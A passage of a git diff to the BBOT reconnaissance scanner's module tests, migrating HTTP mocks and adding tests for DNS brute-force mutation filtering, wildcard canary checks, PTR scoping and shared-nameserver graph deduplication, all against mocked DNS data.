     def check(self, module_test, events):
         scan_log_content = open(module_test.scan.home / "scan.log").read()
         assert (
-            'Error retrieving results from dehashed.com (status code 400): {"error":"issue with request body"}'
+            'Error retrieving results from dehashed.com (status code 400): {"error": "issue with request body"}'
             in scan_log_content
         )
 
 
 class TestDehashedTooManyResults(TestDehashed):
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.dehashed.com/v2/search",
             method="POST",
             json={
diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py
index d1aeb5c60f..06cfa6d8f7 100644
--- a/bbot/test/test_step_2/module_tests/test_module_discord.py
+++ b/bbot/test/test_step_2/module_tests/test_module_discord.py
@@ -1,14 +1,14 @@
-import httpx
+from bbot.test.mock_blasthttp import MockResponse
 
 from .base import ModuleTestBase
 
 
 class TestDiscord(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/cookie.aspx", "http://127.0.0.1:8888/cookie2.aspx", "foo.bar"]
-    modules_overrides = ["discord", "excavate", "badsecrets", "httpx"]
+    modules_overrides = ["discord", "excavate", "badsecrets", "http"]
 
     webhook_url = "https://discord.com/api/webhooks/1234/deadbeef-P-uF-asdf"
-    config_overrides = {"modules": {"discord": {"webhook_url": webhook_url}}}
+    config_overrides = {"modules": {"discord": {"webhook_url": webhook_url, "min_severity": "INFO"}}}
 
     def custom_setup(self, module_test):
         respond_args = {
@@ -24,18 +24,16 @@ def custom_setup(self, module_test):
     async def setup_after_prep(self, module_test):
         self.custom_setup(module_test)
 
-        def custom_response(request: httpx.Request):
+        def custom_response(request):
             module_test.request_count += 1
             if module_test.request_count == 2:
-                return httpx.Response(status_code=429, json={"retry_after": 0.01})
+                return MockResponse(status_code=429, json={"retry_after": 0.01})
             else:
-                return httpx.Response(status_code=200)
+                return MockResponse(status_code=200)
 
-        module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url)
+        module_test.blasthttp_mock.add_callback(custom_response, url=self.webhook_url)
 
     def check(self, module_test, events):
-        vulns = [e for e in events if e.type == "VULNERABILITY"]
         findings = [e for e in events if e.type == "FINDING"]
-        assert len(findings) == 1
-        assert len(vulns) == 2
+        assert len(findings) == 3
         assert module_test.request_count == 4
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py b/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py
index c9b9b8757c..3a74c493a6 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py
@@ -1,9 +1,22 @@
 from .base import ModuleTestBase
 
-raw_bimi_txt_default = (
+# Mock data is zone-file format. TXT character-strings must be quoted so that
+# whitespace inside the payload is preserved (otherwise the zone-file lexer
+# splits each token into its own character-string).
+mock_bimi_txt_default = (
     '"v=BIMI1;l=https://bimi.test.localdomain/logo.svg; a=https://bimi.test.localdomain/certificate.pem"'
 )
-raw_bimi_txt_nondefault = '"v=BIMI1; l=https://nondefault.thirdparty.tld/brand/logo.svg;a=https://nondefault.thirdparty.tld/brand/certificate.pem;"'
+mock_bimi_txt_nondefault = (
+    '"v=BIMI1; l=https://nondefault.thirdparty.tld/brand/logo.svg;'
+    'a=https://nondefault.thirdparty.tld/brand/certificate.pem;"'
+)
+
+# What the modules emit in RAW_DNS_RECORD events: hickory's Display strips the
+# surrounding quotes from TXT, returning the bare character-string content.
+raw_bimi_txt_default = (
+    "v=BIMI1;l=https://bimi.test.localdomain/logo.svg; a=https://bimi.test.localdomain/certificate.pem"
+)
+raw_bimi_txt_nondefault = "v=BIMI1; l=https://nondefault.thirdparty.tld/brand/logo.svg;a=https://nondefault.thirdparty.tld/brand/certificate.pem;"
 
 
 class TestDnsbimi(ModuleTestBase):
@@ -28,27 +41,27 @@ async def setup_after_prep(self, module_test):
                 },
                 "default._bimi.test.localdomain": {
                     "A": ["127.0.0.44"],
-                    "TXT": [raw_bimi_txt_default],
+                    "TXT": [mock_bimi_txt_default],
                 },
                 "nondefault._bimi.test.localdomain": {
                     "A": ["127.0.0.44"],
-                    "TXT": [raw_bimi_txt_nondefault],
+                    "TXT": [mock_bimi_txt_nondefault],
                 },
                 "_bimi.default._bimi.test.localdomain": {
                     "A": ["127.0.0.44"],
-                    "TXT": [raw_bimi_txt_default],
+                    "TXT": [mock_bimi_txt_default],
                 },
                 "_bimi.nondefault._bimi.test.localdomain": {
                     "A": ["127.0.0.44"],
-                    "TXT": [raw_bimi_txt_default],
+                    "TXT": [mock_bimi_txt_default],
                 },
                 "default._bimi.default._bimi.test.localdomain": {
                     "A": ["127.0.0.44"],
-                    "TXT": [raw_bimi_txt_default],
+                    "TXT": [mock_bimi_txt_default],
                 },
                 "nondefault._bimi.nondefault._bimi.test.localdomain": {
                     "A": ["127.0.0.44"],
-                    "TXT": [raw_bimi_txt_nondefault],
+                    "TXT": [mock_bimi_txt_nondefault],
                 },
             }
         )
@@ -78,7 +91,7 @@ def check(self, module_test, events):
 
         # This should not be filtered by a default BBOT configuration
         assert any(
-            e.type == "URL_UNVERIFIED" and e.data == "https://bimi.test.localdomain/certificate.pem" for e in events
+            e.type == "URL_UNVERIFIED" and e.url == "https://bimi.test.localdomain/certificate.pem" for e in events
         ), "Failed to emit URL_UNVERIFIED"
 
         # These should be filtered simply due to distance
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py
index 0cbee8440e..3ecbf4dceb 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py
@@ -90,8 +90,140 @@ async def new_run_live(*command, check=False, text=True, **kwargs):
         assert result is False
         assert reason == '"ptr1234.blacklanternsecurity.com" looks like an autogenerated PTR'
 
+        # mutation-tagged events are rejected by default (recursive_mutations=False)
+        event = module_test.scan.make_event(
+            "mut.blacklanternsecurity.com",
+            "DNS_NAME",
+            parent=module_test.scan.root_event,
+            tags=["mutation-1"],
+        )
+        event.scope_distance = 0
+        result, reason = await module_test.module.filter_event(event)
+        assert result is False
+        assert reason == "event was discovered by dnsbrute_mutations and recursive_mutations is False"
+
     def check(self, module_test, events):
         assert len(events) == 4
         assert 1 == len(
             [e for e in events if e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute"]
         )
+
+
+class TestDnsbruteRecursiveMutations(ModuleTestBase):
+    """Setting recursive_mutations=True allows mutation-tagged events through."""
+
+    module_name = "dnsbrute"
+    subdomain_wordlist = tempwordlist(["www"])
+    config_overrides = {
+        "modules": {
+            "dnsbrute": {
+                "wordlist": str(subdomain_wordlist),
+                "max_depth": 3,
+                "recursive_mutations": True,
+            }
+        }
+    }
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["4.3.2.1"]}})
+        event = module_test.scan.make_event(
+            "mut.blacklanternsecurity.com",
+            "DNS_NAME",
+            parent=module_test.scan.root_event,
+            tags=["mutation-1"],
+        )
+        event.scope_distance = 0
+        result, reason = await module_test.module.filter_event(event)
+        assert result is True
+
+    def check(self, module_test, events):
+        pass
+
+
+class TestDnsbruteMultiWordlist(ModuleTestBase):
+    """Test that a list of wordlists is merged and deduplicated via helpers.wordlist()."""
+
+    module_name = "dnsbrute"
+    wordlist_1 = tempwordlist(["www", "shared"])
+    wordlist_2 = tempwordlist(["asdf", "shared"])
+    config_overrides = {"modules": {"dnsbrute": {"wordlist": [str(wordlist_1), str(wordlist_2)], "max_depth": 3}}}
+
+    async def setup_after_prep(self, module_test):
+        old_run_live = module_test.scan.helpers.run_live
+
+        async def new_run_live(*command, check=False, text=True, **kwargs):
+            if "massdns" in command[:2]:
+                _input = [l async for l in kwargs["input"]]
+                if "asdf.blacklanternsecurity.com" in _input:
+                    yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}"""
+            else:
+                async for _ in old_run_live(*command, check=False, text=True, **kwargs):
+                    yield _
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live)
+
+        await module_test.mock_dns(
+            {
+                "blacklanternsecurity.com": {"A": ["4.3.2.1"]},
+                "asdf.blacklanternsecurity.com": {"A": ["1.2.3.4"]},
+            }
+        )
+
+    def check(self, module_test, events):
+        # "shared" appears in both wordlists - merged set should deduplicate it
+        assert module_test.module.wordlist_size == 3, (
+            f"Expected 3 unique words from 2 overlapping wordlists, got {module_test.module.wordlist_size}"
+        )
+        assert module_test.module.subdomain_list == {"www", "asdf", "shared"}
+        assert any(e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute" for e in events), (
+            "Expected asdf.blacklanternsecurity.com from second wordlist"
+        )
+
+
+class TestDnsbruteCanaryCheck(ModuleTestBase):
+    """Test that the canary check correctly aborts brute-forcing on wildcard domains.
+
+    Simulates a wildcard domain by making massdns return a result for every input
+    subdomain, including the canary subdomains. The canary check should detect
+    this and return no results.
+    """
+
+    module_name = "dnsbrute"
+    subdomain_wordlist = tempwordlist(["www", "mail"])
+    config_overrides = {"modules": {"dnsbrute": {"wordlist": str(subdomain_wordlist)}}}
+
+    async def setup_after_prep(self, module_test):
+        old_run_live = module_test.scan.helpers.run_live
+
+        async def new_run_live(*command, check=False, text=True, **kwargs):
+            if "massdns" in command[:2]:
+                # simulate a wildcard domain: return a result for EVERY input subdomain
+                _input = [l async for l in kwargs["input"]]
+                for subdomain in _input:
+                    hostname = subdomain.strip()
+                    if hostname:
+                        yield (
+                            '{"name": "'
+                            + hostname
+                            + '.", "type": "A", "class": "IN", "status": "NOERROR", "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "'
+                            + hostname
+                            + '.", "data": "1.2.3.4"}]}, "resolver": "195.226.187.130:53", "proto": "UDP"}'
+                        )
+            else:
+                async for _ in old_run_live(*command, check=False, text=True, **kwargs):
+                    yield _
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live)
+
+        await module_test.mock_dns(
+            {
+                "blacklanternsecurity.com": {"A": ["4.3.2.1"]},
+            }
+        )
+
+    def check(self, module_test, events):
+        # canary check should have aborted, so no DNS_NAME events from dnsbrute
+        dnsbrute_events = [e for e in events if e.type == "DNS_NAME" and str(e.module) == "dnsbrute"]
+        assert len(dnsbrute_events) == 0, (
+            f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscaa.py b/bbot/test/test_step_2/module_tests/test_module_dnscaa.py
index cd1546fb1b..c2b0d69f15 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnscaa.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnscaa.py
@@ -22,6 +22,9 @@ async def setup_after_prep(self, module_test):
                         '1 issue "digicert.com; cansignhttpexchanges=yes"',
                         '0 issuewild "letsencrypt.org"',
                         '128 issuewild "pki.goog; cansignhttpexchanges=yes"',
+                        '0 contactemail "contact@blacklanternsecurity.notreal"',
+                        '0 contactphone "+1-555-123-4567"',
+                        '0 somefuturetag "whatever"',
                     ],
                 },
                 "caa.blacklanternsecurity.notreal": {"A": ["127.0.0.22"]},
@@ -46,11 +49,14 @@ def check(self, module_test, events):
         )
         assert any(e.type == "DNS_NAME" and e.data == "pki.goog" for e in events), "Failed to detect CA DNS name"
         assert any(
-            e.type == "URL_UNVERIFIED" and e.data == "https://caa.blacklanternsecurity.notreal/" for e in events
+            e.type == "URL_UNVERIFIED" and e.url == "https://caa.blacklanternsecurity.notreal/" for e in events
         ), "Failed to detect URL"
         assert any(e.type == "EMAIL_ADDRESS" and e.data == "caa@blacklanternsecurity.notreal" for e in events), (
             "Failed to detect email address"
         )
+        assert any(e.type == "EMAIL_ADDRESS" and e.data == "contact@blacklanternsecurity.notreal" for e in events), (
+            "Failed to detect contactemail address"
+        )
         # make sure we're not checking CAA records for out-of-scope hosts
         assert not any(str(e.host) == "caa.comodoca.com" for e in events)
 
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py
index 53c6ff21be..b8b1255a55 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py
@@ -2,8 +2,8 @@
 
 
 class TestDNSCommonSRV(ModuleTestBase):
-    targets = ["media.www.test.api.blacklanternsecurity.com"]
-    whitelist = ["blacklanternsecurity.com"]
+    seeds = ["media.www.test.api.blacklanternsecurity.com"]
+    targets = ["blacklanternsecurity.com"]
     modules_overrides = ["dnscommonsrv", "speculate"]
     config_overrides = {"dns": {"minimal": False}}
 
@@ -75,9 +75,15 @@ def check(self, module_test, events):
                 and str(e.module) == "dnscommonsrv"
             ]
         ), "Failed to detect subdomain 2"
-        assert 2 == len([e for e in events if e.type == "DNS_NAME" and e.data == "asdf.blacklanternsecurity.com"]), (
-            "Failed to detect subdomain 3"
-        )
+        # asdf.blacklanternsecurity.com is in-scope shared infrastructure: the SRV target of two
+        # different in-scope _ldap records. both parent->child edges are preserved for graph output
+        # (the second as a graph-important re-emission), so it produces two DNS_NAME events.
+        asdf_events = [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.blacklanternsecurity.com"]
+        assert 2 == len(asdf_events), "Failed to detect subdomain 3"
+        assert {str(e.parent.data) for e in asdf_events} == {
+            "_ldap._tcp.gc._msdcs.blacklanternsecurity.com",
+            "_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com",
+        }, "in-scope shared SRV target should keep both cross-parent edges"
         assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "api.blacklanternsecurity.com"]), (
             "Failed to detect subdomain 4"
         )
@@ -112,3 +118,49 @@ def check(self, module_test, events):
         assert 10 == len([e for e in events if e.type == "DNS_NAME"])
         assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED"])
         assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and str(e.module) == "speculate"])
+
+
+class TestDNSCommonSRVMutationFilterDefault(ModuleTestBase):
+    """By default (recursive_mutations=False) mutation-tagged events are rejected."""
+
+    module_name = "dnscommonsrv"
+    targets = ["blacklanternsecurity.com"]
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}})
+        event = module_test.scan.make_event(
+            "mut.blacklanternsecurity.com",
+            "DNS_NAME",
+            parent=module_test.scan.root_event,
+            tags=["mutation-1"],
+        )
+        event.scope_distance = 0
+        result, reason = await module_test.module.filter_event(event)
+        assert result is False
+        assert reason == "event was discovered by dnsbrute_mutations and recursive_mutations is False"
+
+    def check(self, module_test, events):
+        pass
+
+
+class TestDNSCommonSRVRecursiveMutations(ModuleTestBase):
+    """With recursive_mutations=True the mutation tag no longer rejects the event."""
+
+    module_name = "dnscommonsrv"
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"dnscommonsrv": {"recursive_mutations": True}}}
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}})
+        event = module_test.scan.make_event(
+            "mut.blacklanternsecurity.com",
+            "DNS_NAME",
+            parent=module_test.scan.root_event,
+            tags=["mutation-1"],
+        )
+        event.scope_distance = 0
+        result = await module_test.module.filter_event(event)
+        assert result is True
+
+    def check(self, module_test, events):
+        pass
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py
index 8f5f99e838..5de39cb0b6 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py
@@ -3,11 +3,11 @@
 
 class TestDNSDumpster(ModuleTestBase):
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://dnsdumpster.com",
             content=b"""<form data-form-id="mainform" class="mb-6" hx-post="https://api.dnsdumpster.com/htmld/" hx-target="#results" hx-headers='{"Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjAsImlhdCI6MTc1OTAxODczOCwiZXhwIjoxNzU5MDE5NjM4LCJkYXRhIjoiZmMxMDcwOTVjYmRjN2Y5YjU1ZWJiM2ZlZGViNWQ5Y2M5MWU1NmEzNGEwYzliNzM5ZjRlYzg2Mjk4MmM0ZDI5YSIsIm1lbWJlcl9zdGF0dXMiOiJmcmVlIn0.7NWBC6TFSaDZH-_VKqDoXqv3nH4a1k30NUxrijg1KqI"}'><div class="form-group">""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.dnsdumpster.com/htmld/",
             content=b"asdf.blacklanternsecurity.com",
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py
index 7940b7aea6..002b1fb303 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py
@@ -58,3 +58,243 @@ def check(self, module_test, events):
                 and e.scope_distance == 1
             ]
         )
+
+
+class TestDNSResolveFilterPTRs(ModuleTestBase):
+    """Test that PTR-derived hostnames stay as affiliates when filter_ptrs is enabled (default)."""
+
+    module_name = "dnsresolve"
+    targets = ["192.168.0.1"]
+    config_overrides = {
+        "dns": {"minimal": False, "filter_ptrs": True, "search_distance": 1},
+        "scope": {"report_distance": 1, "search_distance": 0},
+    }
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {
+                "1.0.168.192.in-addr.arpa": {"PTR": ["ptr-host.othercorp.com"]},
+                "ptr-host.othercorp.com": {"A": ["192.168.0.1"]},
+            }
+        )
+
+    def check(self, module_test, events):
+        # the PTR-derived hostname should have the ptr tag
+        ptr_events = [e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com"]
+        assert len(ptr_events) == 1, f"Expected exactly 1 PTR-derived DNS_NAME, got {len(ptr_events)}"
+        ptr_event = ptr_events[0]
+        assert "ptr" in ptr_event.tags, f"PTR-derived event should have 'ptr' tag, has: {ptr_event.tags}"
+        # it should NOT be promoted to in-scope (scope_distance should stay > 0)
+        assert ptr_event.scope_distance > 0, (
+            f"PTR-derived hostname should not be promoted to in-scope when filter_ptrs=true, "
+            f"got scope_distance={ptr_event.scope_distance}"
+        )
+        assert "affiliate" in ptr_event.tags, (
+            f"PTR-derived hostname should be tagged as affiliate, has: {ptr_event.tags}"
+        )
+
+
+class TestDNSResolveSharedNameserverDedup(ModuleTestBase):
+    """
+    Multiple in-scope parents that share the same NS/SOA records should not cause the
+    shared nameserver hostname to be re-emitted once per parent. The dedup in
+    DNSResolve.emit_dns_children must collapse identical (rdtype, child) pairs across
+    parents, not key on parent host.
+    """
+
+    module_name = "dnsresolve"
+    targets = ["domain-a.test", "domain-b.test", "domain-c.test"]
+    config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 1}}
+
+    async def setup_after_prep(self, module_test):
+        shared_ns = ["shared-ns1.cloudprovider.test.", "shared-ns2.cloudprovider.test."]
+        shared_soa = ["shared-ns1.cloudprovider.test. admin.cloudprovider.test. 1 7200 3600 1209600 3600"]
+        await module_test.mock_dns(
+            {
+                "domain-a.test": {"A": ["192.168.0.1"], "NS": shared_ns, "SOA": shared_soa},
+                "domain-b.test": {"A": ["192.168.0.2"], "NS": shared_ns, "SOA": shared_soa},
+                "domain-c.test": {"A": ["192.168.0.3"], "NS": shared_ns, "SOA": shared_soa},
+                # resolve the shared nameservers so they keep the DNS_NAME type
+                "shared-ns1.cloudprovider.test": {"A": ["192.168.99.1"]},
+                "shared-ns2.cloudprovider.test": {"A": ["192.168.99.2"]},
+            }
+        )
+
+    def check(self, module_test, events):
+        from collections import Counter
+
+        ns_counts = Counter(
+            e.data for e in events if e.type in ("DNS_NAME", "DNS_NAME_UNRESOLVED") and str(e.module) == "NS"
+        )
+        soa_counts = Counter(
+            e.data for e in events if e.type in ("DNS_NAME", "DNS_NAME_UNRESOLVED") and str(e.module) == "SOA"
+        )
+
+        # each shared nameserver hostname is referenced by all three in-scope parents
+        # but should still be emitted exactly once
+        assert ns_counts == {
+            "shared-ns1.cloudprovider.test": 1,
+            "shared-ns2.cloudprovider.test": 1,
+        }, (
+            f"Expected each shared NS hostname to be emitted exactly once across parents, "
+            f"got: {dict(ns_counts)}. emit_dns_children dedup is keyed on "
+            f"(parent_host, rdtype, child) instead of (rdtype, child)."
+        )
+        assert soa_counts == {"shared-ns1.cloudprovider.test": 1}, (
+            f"Expected the shared SOA hostname to be emitted exactly once across parents, got: {dict(soa_counts)}."
+        )
+
+
+class TestDNSResolveInScopeSharedInfraGraphFidelity(ModuleTestBase):
+    """
+    Cross-parent graph fidelity for IN-SCOPE shared infrastructure, asserted against the
+    actual json graph output (the same parent->child edges neo4j builds).
+
+    Three in-scope parents share the same in-scope NS/SOA hosts (subdomains of an in-scope
+    target). Unlike the out-of-scope affiliate flood in TestDNSResolveSharedNameserverDedup,
+    each of these parent->child edges is a distinct, real graph edge that graph outputs
+    (neo4j/json) must preserve. The (rdtype, child) dedup correctly collapses the affiliate
+    flood, but it also drops these in-scope cross-parent edges, linking the shared host to
+    only the first-seen parent.
+
+    This reads output.json and asserts every in-scope parent->child edge survives. It FAILS
+    against the current dedup (only the first-seen edge is kept) and should pass once
+    cross-parent edges are preserved for graph outputs (e.g. re-emitted as graph-important).
+    """
+
+    module_name = "dnsresolve"
+    modules_overrides = ["dnsresolve", "json"]
+    targets = ["domain-a.test", "domain-b.test", "domain-c.test"]
+    config_overrides = {"dns": {"minimal": False}}
+
+    async def setup_after_prep(self, module_test):
+        # shared nameservers that are themselves in-scope (subdomains of an in-scope target)
+        shared_ns = ["ns1.domain-a.test.", "ns2.domain-a.test."]
+        shared_soa = ["ns1.domain-a.test. admin.domain-a.test. 1 7200 3600 1209600 3600"]
+        await module_test.mock_dns(
+            {
+                "domain-a.test": {"A": ["192.168.0.1"], "NS": shared_ns, "SOA": shared_soa},
+                "domain-b.test": {"A": ["192.168.0.2"], "NS": shared_ns, "SOA": shared_soa},
+                "domain-c.test": {"A": ["192.168.0.3"], "NS": shared_ns, "SOA": shared_soa},
+                # resolve the shared nameservers so they keep the DNS_NAME type
+                "ns1.domain-a.test": {"A": ["192.168.99.1"]},
+                "ns2.domain-a.test": {"A": ["192.168.99.2"]},
+            }
+        )
+
+    def check(self, module_test, events):
+        import json
+
+        output_json = module_test.scan.home / "output.json"
+        assert output_json.is_file(), f"json output not written to {output_json}"
+        graph_events = [json.loads(line) for line in output_json.read_text().splitlines() if line.strip()]
+        # map each event id to its data so we can resolve parent ids back to parent hosts (edges)
+        id_to_data = {e["id"]: e.get("data") for e in graph_events if "id" in e}
+
+        expected_parents = {"domain-a.test", "domain-b.test", "domain-c.test"}
+
+        def parents_of(child, module):
+            return {
+                id_to_data.get(e.get("parent"))
+                for e in graph_events
+                if e.get("type") in ("DNS_NAME", "DNS_NAME_UNRESOLVED")
+                and e.get("data") == child
+                and e.get("module") == module
+            }
+
+        ns1_parents = parents_of("ns1.domain-a.test", "NS")
+        ns2_parents = parents_of("ns2.domain-a.test", "NS")
+        soa_parents = parents_of("ns1.domain-a.test", "SOA")
+
+        assert ns1_parents == expected_parents, (
+            f"in-scope shared NS ns1.domain-a.test lost cross-parent edges in graph output: "
+            f"linked to {ns1_parents or set()}, expected {expected_parents}"
+        )
+        assert ns2_parents == expected_parents, (
+            f"in-scope shared NS ns2.domain-a.test lost cross-parent edges in graph output: "
+            f"linked to {ns2_parents or set()}, expected {expected_parents}"
+        )
+        assert soa_parents == expected_parents, (
+            f"in-scope shared SOA host lost cross-parent edges in graph output: "
+            f"linked to {soa_parents or set()}, expected {expected_parents}"
+        )
+
+
+class TestDNSResolveOmittedSharedInfraNotGraphImportant(ModuleTestBase):
+    """
+    Cross-parent edge re-emission must keep the rule that a graph-important event is never
+    omitted (graph outputs force these in; an omitted child is dropped at output regardless).
+
+    Same in-scope shared infra as TestDNSResolveInScopeSharedInfraGraphFidelity, but DNS_NAME is
+    omitted. dnsresolve must not flag the re-emitted cross-parent edges _graph_important, otherwise
+    they become the omit + graph-important combination the graph machinery assumes is unreachable.
+    """
+
+    module_name = "dnsresolve"
+    modules_overrides = ["dnsresolve", "json"]
+    targets = ["domain-a.test", "domain-b.test", "domain-c.test"]
+    config_overrides = {"dns": {"minimal": False}, "omit_event_types": ["DNS_NAME"]}
+
+    async def setup_after_prep(self, module_test):
+        shared_ns = ["ns1.domain-a.test.", "ns2.domain-a.test."]
+        shared_soa = ["ns1.domain-a.test. admin.domain-a.test. 1 7200 3600 1209600 3600"]
+        await module_test.mock_dns(
+            {
+                "domain-a.test": {"A": ["192.168.0.1"], "NS": shared_ns, "SOA": shared_soa},
+                "domain-b.test": {"A": ["192.168.0.2"], "NS": shared_ns, "SOA": shared_soa},
+                "domain-c.test": {"A": ["192.168.0.3"], "NS": shared_ns, "SOA": shared_soa},
+                "ns1.domain-a.test": {"A": ["192.168.99.1"]},
+                "ns2.domain-a.test": {"A": ["192.168.99.2"]},
+            }
+        )
+
+        # snapshot (type, graph_important) for every event dnsresolve emits, at emit time
+        self.emitted = []
+        dnsresolve = module_test.scan.modules["dnsresolve"]
+        original_emit = dnsresolve.emit_event
+
+        async def recording_emit(*args, **kwargs):
+            if args and hasattr(args[0], "_graph_important"):
+                self.emitted.append((args[0].type, args[0]._graph_important))
+            return await original_emit(*args, **kwargs)
+
+        module_test.monkeypatch.setattr(dnsresolve, "emit_event", recording_emit)
+
+    def check(self, module_test, events):
+        omitted = set(module_test.scan.omitted_event_types)
+        violations = [t for t, graph_important in self.emitted if graph_important and t in omitted]
+        assert not violations, (
+            f"dnsresolve emitted graph-important events of an omitted type {violations} "
+            f"(violates the _graph_important => not _omit rule)"
+        )
+
+
+class TestDNSResolveFilterPTRsDisabled(ModuleTestBase):
+    """Test that PTR-derived hostnames ARE promoted to in-scope when filter_ptrs is disabled."""
+
+    module_name = "dnsresolve"
+    targets = ["192.168.0.1"]
+    config_overrides = {
+        "dns": {"minimal": False, "filter_ptrs": False, "search_distance": 1},
+        "scope": {"report_distance": 1, "search_distance": 0},
+    }
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {
+                "1.0.168.192.in-addr.arpa": {"PTR": ["ptr-host.othercorp.com"]},
+                "ptr-host.othercorp.com": {"A": ["192.168.0.1"]},
+            }
+        )
+
+    def check(self, module_test, events):
+        # with filter_ptrs disabled, PTR-derived hostname should be promoted to in-scope
+        ptr_events = [e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com"]
+        assert len(ptr_events) == 1, f"Expected exactly 1 PTR-derived DNS_NAME, got {len(ptr_events)}"
+        ptr_event = ptr_events[0]
+        assert "ptr" in ptr_event.tags, f"PTR-derived event should have 'ptr' tag, has: {ptr_event.tags}"
+        # it SHOULD be promoted to in-scope
+        assert ptr_event.scope_distance == 0, (
+            f"PTR-derived hostname should be promoted to in-scope when filter_ptrs=false, "
+            f"got scope_distance={ptr_event.scope_distance}"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py b/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py
index 61900b9189..b561f2ff9d 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py
@@ -1,6 +1,12 @@
 from .base import ModuleTestBase
 
-raw_smtp_tls_txt = '"v=TLSRPTv1; rua=mailto:tlsrpt@sub.blacklanternsecurity.notreal,mailto:test@on.thirdparty.com, https://tlspost.example.com;"'
+# Mock data is zone-file format: TXT must be quoted to keep the value as a single
+# character-string (otherwise the zone-file lexer splits on whitespace).
+mock_smtp_tls_txt = '"v=TLSRPTv1; rua=mailto:tlsrpt@sub.blacklanternsecurity.notreal,mailto:test@on.thirdparty.com, https://tlspost.example.com;"'
+
+# What the module emits in RAW_DNS_RECORD events (no surrounding quotes from
+# hickory's Display impl).
+raw_smtp_tls_txt = "v=TLSRPTv1; rua=mailto:tlsrpt@sub.blacklanternsecurity.notreal,mailto:test@on.thirdparty.com, https://tlspost.example.com;"
 
 
 class TestDNSTLSRPT(ModuleTestBase):
@@ -19,13 +25,13 @@ async def setup_after_prep(self, module_test):
                 },
                 "_smtp._tls.blacklanternsecurity.notreal": {
                     "A": ["127.0.0.33"],
-                    "TXT": [raw_smtp_tls_txt],
+                    "TXT": [mock_smtp_tls_txt],
                 },
                 "_tls._smtp._tls.blacklanternsecurity.notreal": {
                     "A": ["127.0.0.44"],
                 },
                 "_smtp._tls._smtp._tls.blacklanternsecurity.notreal": {
-                    "TXT": [raw_smtp_tls_txt],
+                    "TXT": [mock_smtp_tls_txt],
                 },
                 "sub.blacklanternsecurity.notreal": {
                     "A": ["127.0.0.55"],
@@ -46,7 +52,7 @@ def check(self, module_test, events):
         assert any(e.type == "EMAIL_ADDRESS" and e.data == "test@on.thirdparty.com" for e in events), (
             "Failed to detect third party email address"
         )
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "https://tlspost.example.com/" for e in events), (
